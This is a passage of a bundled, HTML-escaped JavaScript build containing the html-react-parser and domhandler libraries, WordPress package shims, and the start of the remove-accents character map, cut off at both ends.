            props[propName] = attributeValue;
            switch (propertyInfo &amp;&amp; propertyInfo.type) {
              case react_property_1.BOOLEAN:
                props[propName] = true;
                break;
              case react_property_1.OVERLOADED_BOOLEAN:
                if (attributeValue === &quot;&quot;) {
                  props[propName] = true;
                }
                break;
            }
            continue;
          }
          if (utilities_1.PRESERVE_CUSTOM_ATTRIBUTES) {
            props[attributeName] = attributeValue;
          }
        }
        (0, utilities_1.setStyleProp)(attributes2.style, props);
        return props;
      }
      function getPropName(attributeName) {
        return react_property_1.possibleStandardNames[attributeName];
      }
    }
  });

  // node_modules/html-react-parser/lib/dom-to-react.js
  var require_dom_to_react = __commonJS({
    &quot;node_modules/html-react-parser/lib/dom-to-react.js&quot;(exports) {
      &quot;use strict&quot;;
      var __importDefault = exports &amp;&amp; exports.__importDefault || function(mod) {
        return mod &amp;&amp; mod.__esModule ? mod : { &quot;default&quot;: mod };
      };
      Object.defineProperty(exports, &quot;__esModule&quot;, { value: true });
      exports.default = domToReact2;
      var react_1 = require_react();
      var attributes_to_props_1 = __importDefault(require_attributes_to_props());
      var utilities_1 = require_utilities3();
      var React = {
        cloneElement: react_1.cloneElement,
        createElement: react_1.createElement,
        isValidElement: react_1.isValidElement
      };
      function domToReact2(nodes, options2) {
        if (options2 === void 0) {
          options2 = {};
        }
        var reactElements = [];
        var hasReplace = typeof options2.replace === &quot;function&quot;;
        var transform = options2.transform || utilities_1.returnFirstArg;
        var _a = options2.library || React, cloneElement2 = _a.cloneElement, createElement2 = _a.createElement, isValidElement = _a.isValidElement;
        var nodesLength = nodes.length;
        for (var index = 0; index &lt; nodesLength; index++) {
          var node = nodes[index];
          if (hasReplace) {
            var replaceElement = options2.replace(node, index);
            if (isValidElement(replaceElement)) {
              if (nodesLength &gt; 1) {
                replaceElement = cloneElement2(replaceElement, {
                  key: replaceElement.key || index
                });
              }
              reactElements.push(transform(replaceElement, node, index));
              continue;
            }
          }
          if (node.type === &quot;text&quot;) {
            var isWhitespace = !node.data.trim().length;
            if (isWhitespace &amp;&amp; node.parent &amp;&amp; !(0, utilities_1.canTextBeChildOfNode)(node.parent)) {
              continue;
            }
            if (options2.trim &amp;&amp; isWhitespace) {
              continue;
            }
            reactElements.push(transform(node.data, node, index));
            continue;
          }
          var element = node;
          var props = {};
          if (skipAttributesToProps(element)) {
            (0, utilities_1.setStyleProp)(element.attribs.style, element.attribs);
            props = element.attribs;
          } else if (element.attribs) {
            props = (0, attributes_to_props_1.default)(element.attribs, element.name);
          }
          var children = void 0;
          switch (node.type) {
            case &quot;script&quot;:
            case &quot;style&quot;:
              if (node.children[0]) {
                props.dangerouslySetInnerHTML = {
                  __html: node.children[0].data
                };
              }
              break;
            case &quot;tag&quot;:
              if (node.name === &quot;textarea&quot; &amp;&amp; node.children[0]) {
                props.defaultValue = node.children[0].data;
              } else if (node.children &amp;&amp; node.children.length) {
                children = domToReact2(node.children, options2);
              }
              break;
            // skip all other cases (e.g., comment)
            default:
              continue;
          }
          if (nodesLength &gt; 1) {
            props.key = index;
          }
          reactElements.push(transform(createElement2(node.name, props, children), node, index));
        }
        return reactElements.length === 1 ? reactElements[0] : reactElements;
      }
      function skipAttributesToProps(node) {
        return utilities_1.PRESERVE_CUSTOM_ATTRIBUTES &amp;&amp; node.type === &quot;tag&quot; &amp;&amp; (0, utilities_1.isCustomComponent)(node.name, node.attribs);
      }
    }
  });

  // node_modules/html-react-parser/node_modules/domelementtype/lib/index.js
  var require_lib4 = __commonJS({
    &quot;node_modules/html-react-parser/node_modules/domelementtype/lib/index.js&quot;(exports) {
      &quot;use strict&quot;;
      Object.defineProperty(exports, &quot;__esModule&quot;, { value: true });
      exports.Doctype = exports.CDATA = exports.Tag = exports.Style = exports.Script = exports.Comment = exports.Directive = exports.Text = exports.Root = exports.isTag = exports.ElementType = void 0;
      var ElementType;
      (function(ElementType2) {
        ElementType2[&quot;Root&quot;] = &quot;root&quot;;
        ElementType2[&quot;Text&quot;] = &quot;text&quot;;
        ElementType2[&quot;Directive&quot;] = &quot;directive&quot;;
        ElementType2[&quot;Comment&quot;] = &quot;comment&quot;;
        ElementType2[&quot;Script&quot;] = &quot;script&quot;;
        ElementType2[&quot;Style&quot;] = &quot;style&quot;;
        ElementType2[&quot;Tag&quot;] = &quot;tag&quot;;
        ElementType2[&quot;CDATA&quot;] = &quot;cdata&quot;;
        ElementType2[&quot;Doctype&quot;] = &quot;doctype&quot;;
      })(ElementType = exports.ElementType || (exports.ElementType = {}));
      function isTag(elem) {
        return elem.type === ElementType.Tag || elem.type === ElementType.Script || elem.type === ElementType.Style;
      }
      exports.isTag = isTag;
      exports.Root = ElementType.Root;
      exports.Text = ElementType.Text;
      exports.Directive = ElementType.Directive;
      exports.Comment = ElementType.Comment;
      exports.Script = ElementType.Script;
      exports.Style = ElementType.Style;
      exports.Tag = ElementType.Tag;
      exports.CDATA = ElementType.CDATA;
      exports.Doctype = ElementType.Doctype;
    }
  });

  // node_modules/html-react-parser/node_modules/domhandler/lib/node.js
  var require_node2 = __commonJS({
    &quot;node_modules/html-react-parser/node_modules/domhandler/lib/node.js&quot;(exports) {
      &quot;use strict&quot;;
      var __extends = exports &amp;&amp; exports.__extends || /* @__PURE__ */ (function() {
        var extendStatics = function(d2, b2) {
          extendStatics = Object.setPrototypeOf || { __proto__: [] } instanceof Array &amp;&amp; function(d3, b3) {
            d3.__proto__ = b3;
          } || function(d3, b3) {
            for (var p2 in b3) if (Object.prototype.hasOwnProperty.call(b3, p2)) d3[p2] = b3[p2];
          };
          return extendStatics(d2, b2);
        };
        return function(d2, b2) {
          if (typeof b2 !== &quot;function&quot; &amp;&amp; b2 !== null)
            throw new TypeError(&quot;Class extends value &quot; + String(b2) + &quot; is not a constructor or null&quot;);
          extendStatics(d2, b2);
          function __268() {
            this.constructor = d2;
          }
          d2.prototype = b2 === null ? Object.create(b2) : (__268.prototype = b2.prototype, new __268());
        };
      })();
      var __assign2 = exports &amp;&amp; exports.__assign || function() {
        __assign2 = Object.assign || function(t2) {
          for (var s2, i2 = 1, n2 = arguments.length; i2 &lt; n2; i2++) {
            s2 = arguments[i2];
            for (var p2 in s2) if (Object.prototype.hasOwnProperty.call(s2, p2))
              t2[p2] = s2[p2];
          }
          return t2;
        };
        return __assign2.apply(this, arguments);
      };
      Object.defineProperty(exports, &quot;__esModule&quot;, { value: true });
      exports.cloneNode = exports.hasChildren = exports.isDocument = exports.isDirective = exports.isComment = exports.isText = exports.isCDATA = exports.isTag = exports.Element = exports.Document = exports.CDATA = exports.NodeWithChildren = exports.ProcessingInstruction = exports.Comment = exports.Text = exports.DataNode = exports.Node = void 0;
      var domelementtype_1 = require_lib4();
      var Node = (
        /** @class */
        (function() {
          function Node2() {
            this.parent = null;
            this.prev = null;
            this.next = null;
            this.startIndex = null;
            this.endIndex = null;
          }
          Object.defineProperty(Node2.prototype, &quot;parentNode&quot;, {
            // Read-write aliases for properties
            /**
             * Same as {@link parent}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.parent;
            },
            set: function(parent) {
              this.parent = parent;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(Node2.prototype, &quot;previousSibling&quot;, {
            /**
             * Same as {@link prev}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.prev;
            },
            set: function(prev) {
              this.prev = prev;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(Node2.prototype, &quot;nextSibling&quot;, {
            /**
             * Same as {@link next}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.next;
            },
            set: function(next) {
              this.next = next;
            },
            enumerable: false,
            configurable: true
          });
          Node2.prototype.cloneNode = function(recursive) {
            if (recursive === void 0) {
              recursive = false;
            }
            return cloneNode(this, recursive);
          };
          return Node2;
        })()
      );
      exports.Node = Node;
      var DataNode = (
        /** @class */
        (function(_super) {
          __extends(DataNode2, _super);
          function DataNode2(data) {
            var _this = _super.call(this) || this;
            _this.data = data;
            return _this;
          }
          Object.defineProperty(DataNode2.prototype, &quot;nodeValue&quot;, {
            /**
             * Same as {@link data}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.data;
            },
            set: function(data) {
              this.data = data;
            },
            enumerable: false,
            configurable: true
          });
          return DataNode2;
        })(Node)
      );
      exports.DataNode = DataNode;
      var Text4 = (
        /** @class */
        (function(_super) {
          __extends(Text5, _super);
          function Text5() {
            var _this = _super !== null &amp;&amp; _super.apply(this, arguments) || this;
            _this.type = domelementtype_1.ElementType.Text;
            return _this;
          }
          Object.defineProperty(Text5.prototype, &quot;nodeType&quot;, {
            get: function() {
              return 3;
            },
            enumerable: false,
            configurable: true
          });
          return Text5;
        })(DataNode)
      );
      exports.Text = Text4;
      var Comment2 = (
        /** @class */
        (function(_super) {
          __extends(Comment3, _super);
          function Comment3() {
            var _this = _super !== null &amp;&amp; _super.apply(this, arguments) || this;
            _this.type = domelementtype_1.ElementType.Comment;
            return _this;
          }
          Object.defineProperty(Comment3.prototype, &quot;nodeType&quot;, {
            get: function() {
              return 8;
            },
            enumerable: false,
            configurable: true
          });
          return Comment3;
        })(DataNode)
      );
      exports.Comment = Comment2;
      var ProcessingInstruction2 = (
        /** @class */
        (function(_super) {
          __extends(ProcessingInstruction3, _super);
          function ProcessingInstruction3(name123, data) {
            var _this = _super.call(this, data) || this;
            _this.name = name123;
            _this.type = domelementtype_1.ElementType.Directive;
            return _this;
          }
          Object.defineProperty(ProcessingInstruction3.prototype, &quot;nodeType&quot;, {
            get: function() {
              return 1;
            },
            enumerable: false,
            configurable: true
          });
          return ProcessingInstruction3;
        })(DataNode)
      );
      exports.ProcessingInstruction = ProcessingInstruction2;
      var NodeWithChildren = (
        /** @class */
        (function(_super) {
          __extends(NodeWithChildren2, _super);
          function NodeWithChildren2(children) {
            var _this = _super.call(this) || this;
            _this.children = children;
            return _this;
          }
          Object.defineProperty(NodeWithChildren2.prototype, &quot;firstChild&quot;, {
            // Aliases
            /** First child of the node. */
            get: function() {
              var _a;
              return (_a = this.children[0]) !== null &amp;&amp; _a !== void 0 ? _a : null;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(NodeWithChildren2.prototype, &quot;lastChild&quot;, {
            /** Last child of the node. */
            get: function() {
              return this.children.length &gt; 0 ? this.children[this.children.length - 1] : null;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(NodeWithChildren2.prototype, &quot;childNodes&quot;, {
            /**
             * Same as {@link children}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.children;
            },
            set: function(children) {
              this.children = children;
            },
            enumerable: false,
            configurable: true
          });
          return NodeWithChildren2;
        })(Node)
      );
      exports.NodeWithChildren = NodeWithChildren;
      var CDATA = (
        /** @class */
        (function(_super) {
          __extends(CDATA2, _super);
          function CDATA2() {
            var _this = _super !== null &amp;&amp; _super.apply(this, arguments) || this;
            _this.type = domelementtype_1.ElementType.CDATA;
            return _this;
          }
          Object.defineProperty(CDATA2.prototype, &quot;nodeType&quot;, {
            get: function() {
              return 4;
            },
            enumerable: false,
            configurable: true
          });
          return CDATA2;
        })(NodeWithChildren)
      );
      exports.CDATA = CDATA;
      var Document = (
        /** @class */
        (function(_super) {
          __extends(Document2, _super);
          function Document2() {
            var _this = _super !== null &amp;&amp; _super.apply(this, arguments) || this;
            _this.type = domelementtype_1.ElementType.Root;
            return _this;
          }
          Object.defineProperty(Document2.prototype, &quot;nodeType&quot;, {
            get: function() {
              return 9;
            },
            enumerable: false,
            configurable: true
          });
          return Document2;
        })(NodeWithChildren)
      );
      exports.Document = Document;
      var Element2 = (
        /** @class */
        (function(_super) {
          __extends(Element3, _super);
          function Element3(name123, attribs, children, type) {
            if (children === void 0) {
              children = [];
            }
            if (type === void 0) {
              type = name123 === &quot;script&quot; ? domelementtype_1.ElementType.Script : name123 === &quot;style&quot; ? domelementtype_1.ElementType.Style : domelementtype_1.ElementType.Tag;
            }
            var _this = _super.call(this, children) || this;
            _this.name = name123;
            _this.attribs = attribs;
            _this.type = type;
            return _this;
          }
          Object.defineProperty(Element3.prototype, &quot;nodeType&quot;, {
            get: function() {
              return 1;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(Element3.prototype, &quot;tagName&quot;, {
            // DOM Level 1 aliases
            /**
             * Same as {@link name}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.name;
            },
            set: function(name123) {
              this.name = name123;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(Element3.prototype, &quot;attributes&quot;, {
            get: function() {
              var _this = this;
              return Object.keys(this.attribs).map(function(name123) {
                var _a, _b;
                return {
                  name: name123,
                  value: _this.attribs[name123],
                  namespace: (_a = _this[&quot;x-attribsNamespace&quot;]) === null || _a === void 0 ? void 0 : _a[name123],
                  prefix: (_b = _this[&quot;x-attribsPrefix&quot;]) === null || _b === void 0 ? void 0 : _b[name123]
                };
              });
            },
            enumerable: false,
            configurable: true
          });
          return Element3;
        })(NodeWithChildren)
      );
      exports.Element = Element2;
      function isTag(node) {
        return (0, domelementtype_1.isTag)(node);
      }
      exports.isTag = isTag;
      function isCDATA(node) {
        return node.type === domelementtype_1.ElementType.CDATA;
      }
      exports.isCDATA = isCDATA;
      function isText(node) {
        return node.type === domelementtype_1.ElementType.Text;
      }
      exports.isText = isText;
      function isComment(node) {
        return node.type === domelementtype_1.ElementType.Comment;
      }
      exports.isComment = isComment;
      function isDirective(node) {
        return node.type === domelementtype_1.ElementType.Directive;
      }
      exports.isDirective = isDirective;
      function isDocument(node) {
        return node.type === domelementtype_1.ElementType.Root;
      }
      exports.isDocument = isDocument;
      function hasChildren(node) {
        return Object.prototype.hasOwnProperty.call(node, &quot;children&quot;);
      }
      exports.hasChildren = hasChildren;
      function cloneNode(node, recursive) {
        if (recursive === void 0) {
          recursive = false;
        }
        var result;
        if (isText(node)) {
          result = new Text4(node.data);
        } else if (isComment(node)) {
          result = new Comment2(node.data);
        } else if (isTag(node)) {
          var children = recursive ? cloneChildren(node.children) : [];
          var clone_1 = new Element2(node.name, __assign2({}, node.attribs), children);
          children.forEach(function(child) {
            return child.parent = clone_1;
          });
          if (node.namespace != null) {
            clone_1.namespace = node.namespace;
          }
          if (node[&quot;x-attribsNamespace&quot;]) {
            clone_1[&quot;x-attribsNamespace&quot;] = __assign2({}, node[&quot;x-attribsNamespace&quot;]);
          }
          if (node[&quot;x-attribsPrefix&quot;]) {
            clone_1[&quot;x-attribsPrefix&quot;] = __assign2({}, node[&quot;x-attribsPrefix&quot;]);
          }
          result = clone_1;
        } else if (isCDATA(node)) {
          var children = recursive ? cloneChildren(node.children) : [];
          var clone_2 = new CDATA(children);
          children.forEach(function(child) {
            return child.parent = clone_2;
          });
          result = clone_2;
        } else if (isDocument(node)) {
          var children = recursive ? cloneChildren(node.children) : [];
          var clone_3 = new Document(children);
          children.forEach(function(child) {
            return child.parent = clone_3;
          });
          if (node[&quot;x-mode&quot;]) {
            clone_3[&quot;x-mode&quot;] = node[&quot;x-mode&quot;];
          }
          result = clone_3;
        } else if (isDirective(node)) {
          var instruction = new ProcessingInstruction2(node.name, node.data);
          if (node[&quot;x-name&quot;] != null) {
            instruction[&quot;x-name&quot;] = node[&quot;x-name&quot;];
            instruction[&quot;x-publicId&quot;] = node[&quot;x-publicId&quot;];
            instruction[&quot;x-systemId&quot;] = node[&quot;x-systemId&quot;];
          }
          result = instruction;
        } else {
          throw new Error(&quot;Not implemented yet: &quot;.concat(node.type));
        }
        result.startIndex = node.startIndex;
        result.endIndex = node.endIndex;
        if (node.sourceCodeLocation != null) {
          result.sourceCodeLocation = node.sourceCodeLocation;
        }
        return result;
      }
      exports.cloneNode = cloneNode;
      function cloneChildren(childs) {
        var children = childs.map(function(child) {
          return cloneNode(child, true);
        });
        for (var i2 = 1; i2 &lt; children.length; i2++) {
          children[i2].prev = children[i2 - 1];
          children[i2 - 1].next = children[i2];
        }
        return children;
      }
    }
  });

  // node_modules/html-react-parser/node_modules/domhandler/lib/index.js
  var require_lib5 = __commonJS({
    &quot;node_modules/html-react-parser/node_modules/domhandler/lib/index.js&quot;(exports) {
      &quot;use strict&quot;;
      var __createBinding = exports &amp;&amp; exports.__createBinding || (Object.create ? (function(o2, m2, k2, k22) {
        if (k22 === void 0) k22 = k2;
        var desc = Object.getOwnPropertyDescriptor(m2, k2);
        if (!desc || (&quot;get&quot; in desc ? !m2.__esModule : desc.writable || desc.configurable)) {
          desc = { enumerable: true, get: function() {
            return m2[k2];
          } };
        }
        Object.defineProperty(o2, k22, desc);
      }) : (function(o2, m2, k2, k22) {
        if (k22 === void 0) k22 = k2;
        o2[k22] = m2[k2];
      }));
      var __exportStar = exports &amp;&amp; exports.__exportStar || function(m2, exports2) {
        for (var p2 in m2) if (p2 !== &quot;default&quot; &amp;&amp; !Object.prototype.hasOwnProperty.call(exports2, p2)) __createBinding(exports2, m2, p2);
      };
      Object.defineProperty(exports, &quot;__esModule&quot;, { value: true });
      exports.DomHandler = void 0;
      var domelementtype_1 = require_lib4();
      var node_js_1 = require_node2();
      __exportStar(require_node2(), exports);
      var defaultOpts = {
        withStartIndices: false,
        withEndIndices: false,
        xmlMode: false
      };
      var DomHandler = (
        /** @class */
        (function() {
          function DomHandler2(callback, options2, elementCB) {
            this.dom = [];
            this.root = new node_js_1.Document(this.dom);
            this.done = false;
            this.tagStack = [this.root];
            this.lastNode = null;
            this.parser = null;
            if (typeof options2 === &quot;function&quot;) {
              elementCB = options2;
              options2 = defaultOpts;
            }
            if (typeof callback === &quot;object&quot;) {
              options2 = callback;
              callback = void 0;
            }
            this.callback = callback !== null &amp;&amp; callback !== void 0 ? callback : null;
            this.options = options2 !== null &amp;&amp; options2 !== void 0 ? options2 : defaultOpts;
            this.elementCB = elementCB !== null &amp;&amp; elementCB !== void 0 ? elementCB : null;
          }
          DomHandler2.prototype.onparserinit = function(parser) {
            this.parser = parser;
          };
          DomHandler2.prototype.onreset = function() {
            this.dom = [];
            this.root = new node_js_1.Document(this.dom);
            this.done = false;
            this.tagStack = [this.root];
            this.lastNode = null;
            this.parser = null;
          };
          DomHandler2.prototype.onend = function() {
            if (this.done)
              return;
            this.done = true;
            this.parser = null;
            this.handleCallback(null);
          };
          DomHandler2.prototype.onerror = function(error) {
            this.handleCallback(error);
          };
          DomHandler2.prototype.onclosetag = function() {
            this.lastNode = null;
            var elem = this.tagStack.pop();
            if (this.options.withEndIndices) {
              elem.endIndex = this.parser.endIndex;
            }
            if (this.elementCB)
              this.elementCB(elem);
          };
          DomHandler2.prototype.onopentag = function(name123, attribs) {
            var type = this.options.xmlMode ? domelementtype_1.ElementType.Tag : void 0;
            var element = new node_js_1.Element(name123, attribs, void 0, type);
            this.addNode(element);
            this.tagStack.push(element);
          };
          DomHandler2.prototype.ontext = function(data) {
            var lastNode = this.lastNode;
            if (lastNode &amp;&amp; lastNode.type === domelementtype_1.ElementType.Text) {
              lastNode.data += data;
              if (this.options.withEndIndices) {
                lastNode.endIndex = this.parser.endIndex;
              }
            } else {
              var node = new node_js_1.Text(data);
              this.addNode(node);
              this.lastNode = node;
            }
          };
          DomHandler2.prototype.oncomment = function(data) {
            if (this.lastNode &amp;&amp; this.lastNode.type === domelementtype_1.ElementType.Comment) {
              this.lastNode.data += data;
              return;
            }
            var node = new node_js_1.Comment(data);
            this.addNode(node);
            this.lastNode = node;
          };
          DomHandler2.prototype.oncommentend = function() {
            this.lastNode = null;
          };
          DomHandler2.prototype.oncdatastart = function() {
            var text = new node_js_1.Text(&quot;&quot;);
            var node = new node_js_1.CDATA([text]);
            this.addNode(node);
            text.parent = node;
            this.lastNode = text;
          };
          DomHandler2.prototype.oncdataend = function() {
            this.lastNode = null;
          };
          DomHandler2.prototype.onprocessinginstruction = function(name123, data) {
            var node = new node_js_1.ProcessingInstruction(name123, data);
            this.addNode(node);
          };
          DomHandler2.prototype.handleCallback = function(error) {
            if (typeof this.callback === &quot;function&quot;) {
              this.callback(error, this.dom);
            } else if (error) {
              throw error;
            }
          };
          DomHandler2.prototype.addNode = function(node) {
            var parent = this.tagStack[this.tagStack.length - 1];
            var previousSibling = parent.children[parent.children.length - 1];
            if (this.options.withStartIndices) {
              node.startIndex = this.parser.startIndex;
            }
            if (this.options.withEndIndices) {
              node.endIndex = this.parser.endIndex;
            }
            parent.children.push(node);
            if (previousSibling) {
              node.prev = previousSibling;
              previousSibling.next = node;
            }
            node.parent = parent;
            this.lastNode = null;
          };
          return DomHandler2;
        })()
      );
      exports.DomHandler = DomHandler;
      exports.default = DomHandler;
    }
  });

  // node_modules/html-react-parser/lib/index.js
  var require_lib6 = __commonJS({
    &quot;node_modules/html-react-parser/lib/index.js&quot;(exports) {
      &quot;use strict&quot;;
      var __importDefault = exports &amp;&amp; exports.__importDefault || function(mod) {
        return mod &amp;&amp; mod.__esModule ? mod : { &quot;default&quot;: mod };
      };
      Object.defineProperty(exports, &quot;__esModule&quot;, { value: true });
      exports.htmlToDOM = exports.domToReact = exports.attributesToProps = exports.Text = exports.ProcessingInstruction = exports.Element = exports.Comment = void 0;
      exports.default = HTMLReactParser2;
      var html_dom_parser_1 = __importDefault(require_html_to_dom());
      exports.htmlToDOM = html_dom_parser_1.default;
      var attributes_to_props_1 = __importDefault(require_attributes_to_props());
      exports.attributesToProps = attributes_to_props_1.default;
      var dom_to_react_1 = __importDefault(require_dom_to_react());
      exports.domToReact = dom_to_react_1.default;
      var domhandler_1 = require_lib5();
      Object.defineProperty(exports, &quot;Comment&quot;, { enumerable: true, get: function() {
        return domhandler_1.Comment;
      } });
      Object.defineProperty(exports, &quot;Element&quot;, { enumerable: true, get: function() {
        return domhandler_1.Element;
      } });
      Object.defineProperty(exports, &quot;ProcessingInstruction&quot;, { enumerable: true, get: function() {
        return domhandler_1.ProcessingInstruction;
      } });
      Object.defineProperty(exports, &quot;Text&quot;, { enumerable: true, get: function() {
        return domhandler_1.Text;
      } });
      var domParserOptions = { lowerCaseAttributeNames: false };
      function HTMLReactParser2(html, options2) {
        if (typeof html !== &quot;string&quot;) {
          throw new TypeError(&quot;First argument must be a string&quot;);
        }
        if (!html) {
          return [];
        }
        return (0, dom_to_react_1.default)((0, html_dom_parser_1.default)(html, (options2 === null || options2 === void 0 ? void 0 : options2.htmlparser2) || domParserOptions), options2);
      }
    }
  });

  // package-external:@wordpress/dom
  var require_dom = __commonJS({
    &quot;package-external:@wordpress/dom&quot;(exports, module) {
      module.exports = window.wp.dom;
    }
  });

  // vendor-external:react/jsx-runtime
  var require_jsx_runtime = __commonJS({
    &quot;vendor-external:react/jsx-runtime&quot;(exports, module) {
      module.exports = window.ReactJSXRuntime;
    }
  });

  // package-external:@wordpress/element
  var require_element = __commonJS({
    &quot;package-external:@wordpress/element&quot;(exports, module) {
      module.exports = window.wp.element;
    }
  });

  // package-external:@wordpress/primitives
  var require_primitives = __commonJS({
    &quot;package-external:@wordpress/primitives&quot;(exports, module) {
      module.exports = window.wp.primitives;
    }
  });

  // package-external:@wordpress/components
  var require_components = __commonJS({
    &quot;package-external:@wordpress/components&quot;(exports, module) {
      module.exports = window.wp.components;
    }
  });

  // package-external:@wordpress/blob
  var require_blob = __commonJS({
    &quot;package-external:@wordpress/blob&quot;(exports, module) {
      module.exports = window.wp.blob;
    }
  });

  // package-external:@wordpress/core-data
  var require_core_data = __commonJS({
    &quot;package-external:@wordpress/core-data&quot;(exports, module) {
      module.exports = window.wp.coreData;
    }
  });

  // package-external:@wordpress/url
  var require_url = __commonJS({
    &quot;package-external:@wordpress/url&quot;(exports, module) {
      module.exports = window.wp.url;
    }
  });

  // package-external:@wordpress/html-entities
  var require_html_entities = __commonJS({
    &quot;package-external:@wordpress/html-entities&quot;(exports, module) {
      module.exports = window.wp.htmlEntities;
    }
  });

  // package-external:@wordpress/notices
  var require_notices = __commonJS({
    &quot;package-external:@wordpress/notices&quot;(exports, module) {
      module.exports = window.wp.notices;
    }
  });

  // package-external:@wordpress/private-apis
  var require_private_apis = __commonJS({
    &quot;package-external:@wordpress/private-apis&quot;(exports, module) {
      module.exports = window.wp.privateApis;
    }
  });

  // package-external:@wordpress/keycodes
  var require_keycodes = __commonJS({
    &quot;package-external:@wordpress/keycodes&quot;(exports, module) {
      module.exports = window.wp.keycodes;
    }
  });

  // package-external:@wordpress/deprecated
  var require_deprecated = __commonJS({
    &quot;package-external:@wordpress/deprecated&quot;(exports, module) {
      module.exports = window.wp.deprecated;
    }
  });

  // package-external:@wordpress/rich-text
  var require_rich_text = __commonJS({
    &quot;package-external:@wordpress/rich-text&quot;(exports, module) {
      module.exports = window.wp.richText;
    }
  });

  // package-external:@wordpress/date
  var require_date = __commonJS({
    &quot;package-external:@wordpress/date&quot;(exports, module) {
      module.exports = window.wp.date;
    }
  });

  // package-external:@wordpress/api-fetch
  var require_api_fetch = __commonJS({
    &quot;package-external:@wordpress/api-fetch&quot;(exports, module) {
      module.exports = window.wp.apiFetch;
    }
  });

  // package-external:@wordpress/hooks
  var require_hooks = __commonJS({
    &quot;package-external:@wordpress/hooks&quot;(exports, module) {
      module.exports = window.wp.hooks;
    }
  });

  // node_modules/remove-accents/index.js
  var require_remove_accents = __commonJS({
    &quot;node_modules/remove-accents/index.js&quot;(exports, module) {
      var characterMap = {
        &quot;\xC0&quot;: &quot;A&quot;,
        &quot;\xC1&quot;: &quot;A&quot;,
        &quot;\xC2&quot;: &quot;A&quot;,
        &quot;\xC3&quot;: &quot;A&quot;,
        &quot;\xC4&quot;: &quot;A&quot;,
        &quot;\xC5&quot;: &quot;A&quot;,
        &quot;\u1EA4&quot;: &quot;A&quot;,
        &quot;\u1EAE&quot;: &quot;A&quot;,
        &quot;\u1EB2&quot;: &quot;A&quot;,
        &quot;\u1EB4&quot;: &quot;A&quot;,
        &quot;\u1EB6&quot;: &quot;A&quot;,
        &quot;\xC6&quot;: &quot;AE&quot;,
        &quot;\u1EA6&quot;: &quot;A&quot;,
        &quot;\u1EB0&quot;: &quot;A&quot;,
        &quot;\u0202&quot;: &quot;A&quot;,
        &quot;\u1EA2&quot;: &quot;A&quot;,
        &quot;\u1EA0&quot;: &quot;A&quot;,
        &quot;\u1EA8&quot;: &quot;A&quot;,
        &quot;\u1EAA&quot;: &quot;A&quot;,
        &quot;\u1EAC&quot;: &quot;A&quot;,
        &quot;\xC7&quot;: &quot;C&quot;,
        &quot;\u1E08&quot;: &quot;C&quot;,
        &quot;\xC8&quot;: &quot;E&quot;,
        &quot;\xC9&quot;: &quot;E&quot;,
        &quot;\xCA&quot;: &quot;E&quot;,
        &quot;\xCB&quot;: &quot;E&quot;,
        &quot;\u1EBE&quot;: &quot;E&quot;,
        &quot;\u1E16&quot;: &quot;E&quot;,
        &quot;\u1EC0&quot;: &quot;E&quot;,
        &quot;\u1E14&quot;: &quot;E&quot;,
        &quot;\u1E1C&quot;: &quot;E&quot;,
        &quot;\u0206&quot;: &quot;E&quot;,
        &quot;\u1EBA&quot;: &quot;E&quot;,
        &quot;\u1EBC&quot;: &quot;E&quot;,
        &quot;\u1EB8&quot;: &quot;E&quot;,
        &quot;\u1EC2&quot;: &quot;E&quot;,
        &quot;\u1EC4&quot;: &quot;E&quot;,
        &quot;\u1EC6&quot;: &quot;E&quot;,
        &quot;\xCC&quot;: &quot;I&quot;,
        &quot;\xCD&quot;: &quot;I&quot;,
        &quot;\xCE&quot;: &quot;I&quot;,
        &quot;\xCF&quot;: &quot;I&quot;,
        &quot;\u1E2E&quot;: &quot;I&quot;,
        &quot;\u020A&quot;: &quot;I&quot;,
        &quot;\u1EC8&quot;: &quot;I&quot;,
        &quot;\u1ECA&quot;: &quot;I&quot;,
        &quot;\xD0&quot;: &quot;D&quot;,
        &quot;\xD1&quot;: &quot;N&quot;,
        &quot;\xD2&quot;: &quot;O&quot;,
        &quot;\xD3&quot;: &quot;O&quot;,
        &quot;\xD4&quot;: &quot;O&quot;,
        &quot;\xD5&quot;: &quot;O&quot;,
        &quot;\xD6&quot;: &quot;O&quot;,
        &quot;\xD8&quot;: &quot;O&quot;,
        &quot;\u1ED0&quot;: &quot;O&quot;,
        &quot;\u1E4C&quot;: &quot;O&quot;,
        &quot;\u1E52&quot;: &quot;O&quot;,
        &quot;\u020E&quot;: &quot;O&quot;,
        &quot;\u1ECE&quot;: &quot;O&quot;,
        &quot;\u1ECC&quot;: &quot;O&quot;,
        &quot;\u1ED4&quot;: &quot;O&quot;,
        &quot;\u1ED6&quot;: &quot;O&quot;,
        &quot;\u1ED8&quot;: &quot;O&quot;,
        &quot;\u1EDC&quot;: &quot;O&quot;,
        &quot;\u1EDE&quot;: &quot;O&quot;,
        &quot;\u1EE0&quot;: &quot;O&quot;,
        &quot;\u1EDA&quot;: &quot;O&quot;,
        &quot;\u1EE2&quot;: &quot;O&quot;,
        &quot;\xD9&quot;: &quot;U&quot;,
        &quot;\xDA&quot;: &quot;U&quot;,
        &quot;\xDB&quot;: &quot;U&quot;,
        &quot;\xDC&quot;: &quot;U&quot;,
        &quot;\u1EE6&quot;: &quot;U&quot;,
        &quot;\u1EE4&quot;: &quot;U&quot;,
        &quot;\u1EEC&quot;: &quot;U&quot;,
        &quot;\u1EEE&quot;: &quot;U&quot;,
        &quot;\u1EF0&quot;: &quot;U&quot;,
        &quot;\xDD&quot;: &quot;Y&quot;,
        &quot;\xE0&quot;: &quot;a&quot;,
        &quot;\xE1&quot;: &quot;a&quot;,
        &quot;\xE2&quot;: &quot;a&quot;,
        &quot;\xE3&quot;: &quot;a&quot;,
        &quot;\xE4&quot;: &quot;a&quot;,
